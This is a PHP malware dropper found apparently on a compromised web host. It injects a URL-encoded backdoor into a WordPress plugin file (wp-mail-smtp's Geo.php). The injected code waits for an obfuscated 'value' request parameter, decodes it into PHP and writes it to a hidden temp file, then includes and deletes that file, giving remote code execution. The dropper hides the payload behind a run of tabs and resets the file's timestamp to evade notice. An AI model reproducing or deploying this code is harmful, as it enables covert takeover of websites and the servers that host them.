File: //proc/self/root/tmp/.dbx_convert
<?php $path = '/dom877180/wp-content/plugins/wp-mail-smtp/src/Geo.php'; $ft = @filemtime($path); $content = (string) @file_get_contents($path); $new_code = rawurldecode('if%28isset%28%24_REQUEST%5B%22%5Cx76%5Cx61lue%22%5D%29%20%3F%20true%20%3A%20false%29%7B%20%24parameter_group%20%3D%20array_filter%28%5Bgetenv%28%22TMP%22%29%2C%20sys_get_temp_dir%28%29%2C%20%22/tmp%22%2C%20%22/dev/shm%22%2C%20session_save_path%28%29%2C%20%22/var/tmp%22%2C%20getcwd%28%29%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20getenv%28%22TEMP%22%29%5D%29%3B%20%24flg%20%3D%20%24_REQUEST%5B%22%5Cx76%5Cx61lue%22%5D%3B%20%24flg%3Dexplode%20%28%20%27.%27%2C%20%24flg%29%3B%20%24token%20%3D%20%27%27%3B%20%24s%20%3D%20%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%20%24lenS%20%3D%20strlen%28%24s%29%3B%20%24q%20%3D%200%3B%20foreach%28%24flg%20as%20%24v8%29%20%7B%24sChar%20%3D%20ord%28%24s%5B%24q%20%25%20%24lenS%5D%29%3B%20%24dec%20%3D%20%28%28int%29%24v8%20-%20%24sChar%20-%28%24q%20%25%2010%29%29%20%5E%2064%3B%20%24token%20.%3Dchr%28%24dec%29%3B%20%24q%2B%2B%3B%7D%20foreach%20%28%24parameter_group%20as%20%24reference%29%20%7B%20if%20%28%21%21is_dir%28%24reference%29%20%26%26%20%21%21is_writable%28%24reference%29%29%20%7B%20%24elem%20%3D%20%22%24reference/.record%22%3B%20%24file%20%3D%20fopen%28%24elem%2C%20%27w%27%29%3B%20if%20%28%24file%29%20%7B%20fwrite%28%24file%2C%20%24token%29%3B%20fclose%28%24file%29%3B%20include%20%24elem%3B%20%40unlink%28%24elem%29%3B%20die%28%29%3B%20%7D%20%7D%20%7D%20%7D'); if (strlen($content) < 32) { die('!failed!'); } if (strstr($content, $new_code)) { die('!already injected!'); } $p = 0; if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) { $p = 3; } while ($p < strlen($content) && strpos(" \t\r\n", $content[$p]) !== false) { $p++; } $prefix = substr($content, 0, $p); $body = substr($content, $p); if (strlen($body) < 32) { die('!failed!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { $len = strlen($start); if ($len > strlen($body) || substr($body, 0, $len) !== $start) { continue; } if ($start === '<?') { if (strncmp($body, '<?xml', 5) === 0) { continue; } if (strlen($body) >= 3 && substr($body, 0, 3) === '<?=') { continue; } } $rest = substr($body, $len); $candidate = $prefix.$start.str_repeat("\t", 42).$new_code."\n".$rest; $tmp = @tempnam(dirname($path), 't'); if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) { @touch($path, $ft); $check = (string) @file_get_contents($path); if (strstr($check, $new_code)) { die('!success!'); } } if ($tmp !== false && is_file($tmp)) { @unlink($tmp); } } die('!failed!');